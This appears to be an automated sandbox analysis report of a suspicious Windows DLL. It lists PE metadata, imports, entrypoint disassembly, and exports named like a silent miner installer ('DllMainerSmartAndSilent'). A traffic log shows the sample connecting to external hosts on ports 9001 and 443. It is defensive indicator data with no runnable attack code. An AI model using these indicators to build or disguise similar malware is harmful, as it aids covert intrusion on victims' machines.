SSDEEP:	98304:KNTcn/XVkOGfc7P7ywKuGTqVztaNJ5j2TdSNMrVgbH1e8TFCq2NLFMSuzYEgQpGy:KNon/X2Oh7DFKBQoBGhWeeCzN4gQpGi
TLSH:	91C6DF1AA3E905A6D4B7C734C9269723C7B1BCE69335D64F0508324D2F73A63CB6B219
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......sK..7o.7o.7o.1.j..o.1.k.<o.1.l.&o.>R..;o.\|Rn.>o.7n.,+o.$.l.=o.$.k..o.7o.5o.$.j..o.B.o.6o.B.m.6o.Rich7*o........

File Icon


Icon Hash:	7ae282899bbab082

Static PE Info

General

Entrypoint:	0x1800b2580
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x180000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, DLL
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x67599EBA [Wed Dec 11 14:16:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	284a46533cba1341dc300d5bd74b1af9

Entrypoint Preview

Instruction
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], esi
push edi
dec eax
sub esp, 20h
dec ecx
mov edi, eax
mov ebx, edx
dec eax
mov esi, ecx
cmp edx, 01h
jne 00007FB3CCE82207h
call 00007FB3CCE82B20h
dec esp
mov eax, edi
mov edx, ebx
dec eax
mov ecx, esi
dec eax
mov ebx, dword ptr [esp+30h]
dec eax
mov esi, dword ptr [esp+38h]
dec eax
add esp, 20h
pop edi
jmp 00007FB3CCE82094h
int3
int3
int3
jmp 00007FB3CCE82DC0h
int3
int3
int3
dec eax
sub esp, 28h
call 00007FB3CCE82DBCh
jmp 00007FB3CCE82204h
xor eax, eax
dec eax
add esp, 28h
ret
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007FB3CCE82212h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007FB3CCE82215h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007FB3CCE8220Dh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0xc54e80	0xf8	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc54f78	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcc5000	0x358	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xc7f000	0x44160	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xcc6000	0xe68	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xbd30e0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xbd3300	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xbd2fa0	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x54d000	0x860	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb9a98	0xb9c00	a06e43867c1ca4f11016e3ad70acab43	False	0.4254999789703903	data	6.614205256111122	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.managed	0xbb000	0x2e8898	0x2e8a00	4a74b1eb4195d9d90e7e2aef2f3699f9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
hydrated	0x3a4000	0x1a8b70	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x54d000	0x709d06	0x709e00	0083725ceb195ee058ce061afa1fd103	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc57000	0x27620	0x7200	2c869e7bff181e6da469751609154913	False	0.28618421052631576	data	4.692087440494234	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xc7f000	0x44160	0x44200	3d95e8abc49e1198a65f950cf0f17e1f	False	0.49399010894495415	data	6.414012054080996	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0xcc4000	0x1f4	0x200	05f7d4ea69a427836e267645cd6869ff	False	0.537109375	data	4.2398756995085805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xcc5000	0x358	0x400	1936f7cfb6fcab72088ed5d5f585f44d	False	0.375	data	2.7893322184204656	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xcc6000	0xe68	0x1000	32a0c6825ea00afa39211b413859ca20	False	0.374755859375	data	5.1973866749337505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xcc5058	0x300	MacBinary, comment length 97, char. code 0x69, total length 1711304448, Wed Mar 28 22:22:24 2040 INVALID date, modified Tue Feb 7 01:41:58 2040, creator ' ' "4"			0.44921875

Imports

DLL	Import
ADVAPI32.dll	RegQueryValueExW, RegCloseKey, OpenProcessToken, LookupPrivilegeValueW, AdjustTokenPrivileges, RegEnumKeyExW, RegOpenKeyExW, RevertToSelf, OpenThreadToken, SetThreadToken, DuplicateTokenEx, GetSecurityDescriptorLength, GetTokenInformation, CreateWellKnownSid, GetWindowsAccountDomainSid, ImpersonateLoggedOnUser, CheckTokenMembership
bcrypt.dll	BCryptFinalizeKeyPair, BCryptExportKey, BCryptDecrypt, BCryptEncrypt, BCryptCreateHash, BCryptGenRandom, BCryptFinishHash, BCryptGenerateKeyPair, BCryptGetProperty, BCryptHashData, BCryptImportKey, BCryptImportKeyPair, BCryptOpenAlgorithmProvider, BCryptVerifySignature, BCryptSetProperty, BCryptCloseAlgorithmProvider, BCryptDestroyKey, BCryptDestroyHash
KERNEL32.dll	TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, RaiseException, RtlPcToFileHeader, InterlockedFlushSList, RtlUnwindEx, IsDebuggerPresent, InitializeSListHead, IsProcessorFeaturePresent, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlLookupFunctionEntry, GetProcessHeap, HeapFree, GetTickCount64, QueryPerformanceCounter, ExitProcess, OpenProcess, ReadProcessMemory, CloseHandle, SetLastError, FormatMessageW, GetLastError, GetModuleHandleW, GetProcAddress, SetConsoleCtrlHandler, GetCPInfoExW, GetConsoleMode, GetFileType, ReadFile, ReadConsoleW, WriteFile, WriteConsoleW, GetConsoleCP, GetConsoleOutputCP, GetStdHandle, MultiByteToWideChar, WideCharToMultiByte, GetExitCodeProcess, GetProcessTimes, CreateProcessW, TerminateProcess, K32EnumProcesses, GetProcessId, DuplicateHandle, CreatePipe, GetCurrentProcess, GetDriveTypeW, GetLogicalDrives, ConnectNamedPipe, WaitNamedPipeW, CancelIoEx, CreateNamedPipeW, CreateFileW, OpenThread, CancelSynchronousIo, GetCurrentThreadId, CloseThreadpoolIo, GetCurrentProcessId, RaiseFailFastException, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToSystemTime, GetSystemTime, GetCurrentThread, WaitForSingleObject, Sleep, DeleteCriticalSection, LocalFree, EnterCriticalSection, SleepConditionVariableCS, LeaveCriticalSection, WakeConditionVariable, InitializeCriticalSection, InitializeConditionVariable, CreateThreadpoolTimer, SetThreadpoolTimer, WaitForMultipleObjectsEx, CreateThreadpoolWait, SetThreadpoolWait, WaitForThreadpoolWaitCallbacks, CloseThreadpoolWait, CreateThreadpoolWork, CloseThreadpoolWork, SubmitThreadpoolWork, QueryPerformanceFrequency, GetFullPathNameW, GetLongPathNameW, GetCPInfo, LocalAlloc, CreateIoCompletionPort, CreateDirectoryW, CreateThreadpoolIo, StartThreadpoolIo, CancelThreadpoolIo, DeleteFileW, DeleteVolumeMountPointW, DeviceIoControl, ExpandEnvironmentStringsW, FindNextFileW, FindClose, FindFirstFileExW, FlushFileBuffers, FreeLibrary, GetCurrentDirectoryW, GetFileAttributesExW, GetFileInformationByHandleEx, GetModuleFileNameW, GetOverlappedResult, GetSystemDirectoryW, LoadLibraryExW, QueryUnbiasedInterruptTime, RemoveDirectoryW, SetCurrentDirectoryW, SetFileAttributesW, SetFileInformationByHandle, SetFilePointerEx, SetThreadErrorMode, CreateThread, ResumeThread, GetThreadPriority, SetThreadPriority, GetDynamicTimeZoneInformation, GetTimeZoneInformation, GetCurrentProcessorNumberEx, SetEvent, ResetEvent, CreateEventExW, GetEnvironmentVariableW, CreateMutexExW, ReleaseMutex, SetEnvironmentVariableW, FlushProcessWriteBuffers, WaitForSingleObjectEx, RtlVirtualUnwind, RtlCaptureContext, RtlRestoreContext, AddVectoredExceptionHandler, FlsAlloc, FlsGetValue, FlsSetValue, CreateEventW, SwitchToThread, SuspendThread, GetThreadContext, SetThreadContext, FlushInstructionCache, VirtualAlloc, VirtualProtect, VirtualFree, QueryInformationJobObject, GetModuleHandleExW, GetProcessAffinityMask, InitializeContext, GetEnabledXStateFeatures, SetXStateFeaturesMask, InitializeCriticalSectionEx, VirtualQuery, GetSystemTimeAsFileTime, DebugBreak, SleepEx, GlobalMemoryStatusEx, GetSystemInfo, GetLogicalProcessorInformation, GetLogicalProcessorInformationEx, GetLargePageMinimum, VirtualUnlock, VirtualAllocExNuma, IsProcessInJob, GetNumaHighestNodeNumber, GetProcessGroupAffinity, K32GetProcessMemoryInfo, EncodePointer, DecodePointer, HeapCreate, HeapDestroy, HeapAlloc
ole32.dll	CoTaskMemFree, CoCreateGuid, CoGetApartmentType, CoTaskMemAlloc, CoUninitialize, CoInitializeEx, CoWaitForMultipleHandles
api-ms-win-crt-math-l1-1-0.dll	log2, fmod, fmodf, ceil, cos, exp, log, pow, sin, sinh, tan, modf, floor, nan, nanf
api-ms-win-crt-heap-l1-1-0.dll	calloc, free, malloc, _callnewh
api-ms-win-crt-string-l1-1-0.dll	_stricmp, strcpy_s, wcsncmp, strcmp
api-ms-win-crt-convert-l1-1-0.dll	strtoull
api-ms-win-crt-runtime-l1-1-0.dll	abort, _register_onexit_function, _initialize_onexit_table, terminate, _initialize_narrow_environment, _configure_narrow_argv, _seh_filter_dll, exit, _execute_onexit_table, _initterm_e, _crt_atexit, _initterm, _cexit

Exports

Name	Ordinal	Address
DllMainer	1	0x18014fee0
DllMainerInstall	2	0x18014fff0
DllMainerInstallUserOnly	3	0x180150040
DllMainerSmartAndSilent	4	0x1801500a0
DllMainerUserOnly	5	0x18014ff30
DotNetRuntimeDebugHeader	6	0x180c5d250
Dummy	7	0x18014ff90

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 11:49:28.482336998 CET	49744	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:28.482336044 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:28.482336998 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:28.482383013 CET	443	49743	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:28.482383013 CET	443	49745	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:28.482470036 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:28.482561111 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:28.495918036 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:28.495949030 CET	443	49745	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:28.496300936 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:28.496362925 CET	443	49743	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:28.602590084 CET	9001	49744	79.130.19.119	192.168.2.6
Dec 17, 2024 11:49:28.602696896 CET	49744	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:28.603437901 CET	49744	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:28.723345995 CET	9001	49744	79.130.19.119	192.168.2.6
Dec 17, 2024 11:49:30.296545982 CET	443	49743	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:30.296634912 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:30.299463987 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:30.299475908 CET	443	49743	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:30.299746990 CET	443	49743	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:30.321727037 CET	443	49745	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:30.321902037 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:30.351835012 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:30.369246960 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:30.371042967 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:30.371083021 CET	443	49745	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:30.371429920 CET	443	49745	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:30.372154951 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:30.411361933 CET	443	49743	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:30.419344902 CET	443	49745	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:33.468919039 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:33.469063044 CET	443	49743	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:33.469166994 CET	49744	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:33.469172955 CET	49743	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:33.469633102 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:33.469713926 CET	443	49745	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:33.469862938 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:33.469867945 CET	443	49745	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:33.469913006 CET	49745	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:33.470396996 CET	49759	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:33.470429897 CET	443	49759	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:33.470520020 CET	49759	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:33.470798016 CET	49760	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:33.472210884 CET	49761	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:33.472259045 CET	443	49761	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:33.472456932 CET	49761	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:33.473042965 CET	49759	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:33.473057032 CET	443	49759	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:33.473306894 CET	49761	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:33.473320961 CET	443	49761	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:33.590476990 CET	9001	49760	79.130.19.119	192.168.2.6
Dec 17, 2024 11:49:33.590696096 CET	49760	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:33.591301918 CET	49760	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:33.634596109 CET	9001	49744	79.130.19.119	192.168.2.6
Dec 17, 2024 11:49:33.711119890 CET	9001	49760	79.130.19.119	192.168.2.6
Dec 17, 2024 11:49:35.261425972 CET	443	49759	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:35.261535883 CET	49759	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:35.263885021 CET	49759	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:35.263895988 CET	443	49759	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:35.264172077 CET	443	49759	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:35.264805079 CET	49759	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:35.292049885 CET	443	49761	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:35.292284012 CET	49761	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:35.302628040 CET	49761	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:35.302650928 CET	443	49761	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:35.302922010 CET	443	49761	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:35.307343960 CET	443	49759	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:35.309731007 CET	49761	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:35.351337910 CET	443	49761	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:38.484553099 CET	49759	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:38.484658003 CET	443	49759	104.244.76.24	192.168.2.6
Dec 17, 2024 11:49:38.484714031 CET	49759	443	192.168.2.6	104.244.76.24
Dec 17, 2024 11:49:38.484904051 CET	49760	9001	192.168.2.6	79.130.19.119
Dec 17, 2024 11:49:38.485235929 CET	49761	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:38.485323906 CET	443	49761	84.19.176.161	192.168.2.6
Dec 17, 2024 11:49:38.485383034 CET	49761	443	192.168.2.6	84.19.176.161
Dec 17, 2024 11:49:38.561886072 CET	49772	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:38.562709093 CET	49773	443	192.168.2.6	204.8.96.82
Dec 17, 2024 11:49:38.562733889 CET	443	49773	204.8.96.82	192.168.2.6
Dec 17, 2024 11:49:38.562808037 CET	49773	443	192.168.2.6	204.8.96.82
Dec 17, 2024 11:49:38.563359976 CET	49774	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:38.563405037 CET	443	49774	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:38.563457012 CET	49774	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:38.564114094 CET	49773	443	192.168.2.6	204.8.96.82
Dec 17, 2024 11:49:38.564137936 CET	443	49773	204.8.96.82	192.168.2.6
Dec 17, 2024 11:49:38.564357996 CET	49774	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:38.564377069 CET	443	49774	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:38.646531105 CET	9001	49760	79.130.19.119	192.168.2.6
Dec 17, 2024 11:49:38.681643963 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:38.681740999 CET	49772	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:38.682889938 CET	49772	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:38.802645922 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:39.931111097 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:39.933514118 CET	49772	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:40.053291082 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:40.342803001 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:40.361341000 CET	443	49774	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:40.361422062 CET	49774	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:40.394714117 CET	49772	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:40.396672010 CET	49774	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:40.396703959 CET	443	49774	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:40.397069931 CET	443	49774	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:40.398010015 CET	49774	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:40.439337015 CET	443	49774	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:40.514571905 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:40.790836096 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:40.791064024 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:40.791495085 CET	49772	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:40.797431946 CET	49772	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:40.813982010 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:40.917654037 CET	9001	49772	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:40.917887926 CET	49772	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:40.934215069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:40.934297085 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:40.934843063 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:41.055123091 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:42.182605982 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:42.184546947 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:42.304403067 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:42.582822084 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:42.583636045 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:42.703567028 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:42.978054047 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:42.978079081 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:42.978141069 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:42.984808922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:43.104600906 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:43.104670048 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:43.224831104 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:43.486855984 CET	49773	443	192.168.2.6	204.8.96.82
Dec 17, 2024 11:49:43.487240076 CET	49774	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:43.487370968 CET	443	49774	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:43.487436056 CET	49774	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:43.487849951 CET	49795	443	192.168.2.6	204.8.96.82
Dec 17, 2024 11:49:43.487900019 CET	443	49795	204.8.96.82	192.168.2.6
Dec 17, 2024 11:49:43.487971067 CET	49795	443	192.168.2.6	204.8.96.82
Dec 17, 2024 11:49:43.500258923 CET	49795	443	192.168.2.6	204.8.96.82
Dec 17, 2024 11:49:43.500282049 CET	443	49795	204.8.96.82	192.168.2.6
Dec 17, 2024 11:49:43.500605106 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:43.500649929 CET	443	49796	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:43.500735998 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:43.501147985 CET	49796	443	192.168.2.6	107.189.8.65
Dec 17, 2024 11:49:43.501159906 CET	443	49796	107.189.8.65	192.168.2.6
Dec 17, 2024 11:49:43.504978895 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:43.505770922 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:43.531332016 CET	443	49773	204.8.96.82	192.168.2.6
Dec 17, 2024 11:49:43.625890970 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:43.625946999 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:43.746469021 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:43.926386118 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.031177044 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.035489082 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.035526991 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.035564899 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.035599947 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.035629034 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.035645962 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.044044018 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.044081926 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.044178009 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.050920963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.051104069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.051219940 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.059371948 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.059407949 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.059457064 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.067820072 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.067923069 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.067991018 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.116569996 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.116607904 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.116780996 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.150990963 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.151027918 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.151160002 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.227292061 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.227392912 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.227444887 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.229809999 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.229916096 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.229969025 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.238295078 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.238332033 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.238384008 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.246694088 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.246802092 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.247016907 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.255141973 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.255331993 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.255418062 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.260901928 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.263531923 CET	9001	49784	185.196.220.82	192.168.2.6
Dec 17, 2024 11:49:44.263595104 CET	49784	9001	192.168.2.6	185.196.220.82
Dec 17, 2024 11:49:44.263710976 CET	9001	49784	185.196.220.82	192.168.2.6
